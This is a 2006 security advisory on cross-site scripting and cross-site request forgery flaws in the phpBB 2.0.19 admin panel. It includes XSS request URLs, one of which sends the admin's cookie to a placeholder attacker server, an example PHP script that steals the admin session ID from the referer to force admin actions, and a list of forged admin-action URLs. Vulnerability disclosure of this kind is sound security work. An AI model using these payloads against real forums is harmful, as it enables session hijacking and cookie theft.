phpBB 2.0.19 Cross Site Request Forgeries and XSS Admin ( Research Advisory )

Advisory Text :

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[phpBB 2.0.19 Cross Site Request Forgeries and XSS Admin]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 3.2.2006
from SecurityReason.Com
CVE-2006-0437 for the XSS issues
CVE-2006-0438 for the CSRF issues

- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open
Source bulletin board package. phpBB has a

user-friendly interface, simple and straightforward administration panel,
and helpful FAQ. Based on the powerful PHP

server language and your choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC
database servers, phpBB is the ideal

free community solution for all web sites.
Contact with author http://www.phpbb.com/about.php.

- --- 1. XSS admin ---
In admin/admin_smilies.php you can create, modifcate smille. So nothing
special but phpBB don't check what is going to db.

case savenew

- -448-473---
$smile_code = ( isset($HTTP_POST_VARS['smile_code']) ) ?
$HTTP_POST_VARS['smile_code'] :

$HTTP_GET_VARS['smile_code'];
$smile_url = ( isset($HTTP_POST_VARS['smile_url']) ) ?
$HTTP_POST_VARS['smile_url'] :

$HTTP_GET_VARS['smile_url'];
$smile_url = phpbb_ltrim(basename($smile_url), "'");
$smile_emotion = ( isset($HTTP_POST_VARS['smile_emotion']) ) ?

$HTTP_POST_VARS['smile_emotion'] : $HTTP_GET_VARS['smile_emotion'];
$smile_code = trim($smile_code);
$smile_url = trim($smile_url);
$smile_emotion = trim($smile_emotion);

// If no code was entered complain ...
if ($smile_code == '' || $smile_url == '')
{
message_die(GENERAL_MESSAGE, $lang['Fields_empty']);
}

//
// Convert < and > to proper htmlentities for parsing.
//
$smile_code = str_replace('<', '<', $smile_code);
$smile_code = str_replace('>', '>', $smile_code);

//
// Save the data to the smiley table.
//
$sql = "INSERT INTO " . SMILIES_TABLE . " (code, smile_url, emoticon)
VALUES ('" . str_replace("\'", "''", $smile_code) . "', '" .
str_replace("\'", "''",

$smile_url) . "', '" . str_replace("\'", "''", $smile_emotion) . "')";
$result = $db->sql_query($sql);
- -448-473---

Only "<" and ">" are restricted.

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:x:&smi
le_url=icon_mrgreen.gif&smile_emotion=c"
onmouseover="alert('SecurityReason.Com')" &sid=SIDofADMIN

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:h:&smi
le_url=icon_mrgreen.gif"%20onmouseover='alert("SecurityReason.Com")'%20&sid
=SIDofADMIN

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=:q:&smi
le_url=icon_mrgreen.gif"%20onmouseover="alert(document.location='http://[SR
VER]/cookies?'+document.cookie)"%20&sid=SIDofADMIN

and you have new smile. Ofcourse you can better do exploit. For IE and
etc.

- --- 2. Cross Site Request Forgeries ---
phpBB admin in Administration Panel have SID in url. Ok. Example if you
want see user profil or split, lock someone

post etc.

Like:
http://[HOST]/[DIR]/admin/admin_users.php?sid=88eafcce6dddcee3fccc08de7ec50
5d0
http://[HOST]/[DIR]/modcp.php?t=2&mode=split&sid=c1db64124b7ced0668dec5900f
ed3b35
etc.

If this user have "Link to off-site Avatar" ON or is bbcode (IMG) ON then
you can create url to script with referer for admin.So when admin open
profil the url will be executed. Need be referer in request.

Next problem is:

103# if ( !preg_match("#^((ht|f)tp://)([^
\?&=\#\"\n\r\t<]*?(\.(jpg|jpeg|gif|png))$)#is", $avatar_filename) )

in includes/unsercp_avatar.php.

Why? Because this preg() don't have limit of chars.
In mysql phpbb DB you have (*_users)

user_avatar varchar(100)

only 100 chars will go to db.
So you can post url like

http://[HOST]/[DIR]/script.php/[100 chars].jpg

Sent:
http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasonse
curityreasonsecurityreasonsecur.jpg

and in db is:
http://[HOST]/[DIR]/script.php/securityreasonsecurityreasonsecurityreasonse
curityreasonsecurityreasonsecur

or in bbcode (IMG)

http://[HOST]/[DIR]/script.php/securityreason.jpg

Nothing special.. Ok..

You need create new user (nick name can be "FUCKmeADMIN" etc). And upload
one script. Doesn't need be in serverwhere is phpbb.

- -script.php--
<?php
# SecurityReason.Com writed by Maksymilian Arciemowicz
# Example exploit

$operation='http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_
code=try&smile_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReason.
Com)\'%20'; #
http://[host]/admin/admin_smilies.php?mode=savenew&smile_code=a&smile_url=i
con_mrgreen.gif" onmouseover='alert(document.cookie)'

$sid='';
preg_match('#sid\=?([0-9a-z]*)#i', getenv('HTTP_REFERER'), $sid);

if($sid[1]!=''){
header("Location: ".$operation."&sid=".$sid[1]);
}

?>
- -script.php--

In this script you need give someone operation. I think, can be:

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=savenew&smile_code=try&smi
le_url=icon_mrgreen.gif"%20onmouseover=\'alert("SecurityReason.Com)\'%20
create new smilie.. and all char a, change to image with javascript (XSS).

http://[HOST]/[DIR]/admin/admin_smilies.php?mode=delete&id=63
Delete someone smile.

http://[HOST]/[DIR]/admin/admin_words.php?mode=delete&id=1&sid=c1db64124b7c
ed0668dec5900fed3b35
Delete word censor.

http://[HOST]/[DIR]/admin/admin_forums.php?mode=forum_order&move=15&f=4
Change position of forum=4.

http://[HOST]/[DIR]/admin/admin_ranks.php?mode=delete&id=4
Delete Rank Administration

http://[HOST]/[DIR]/login.php?logout=true
Logout

etc..

If admin have in url SID and img tag is displaying that this script can get
SID form HTTP_REFERER and redirect tooperation for admin
(header("Location...")).
Admin can't see result. This XSS in Point 1 can you used for this trick.

Solution is don't displaying <IMG> tags from user where have you SID in
url. And use POST to any operations like create, remove smilies etc.

- --- 3. Greets ---
sp3x

- --- 4. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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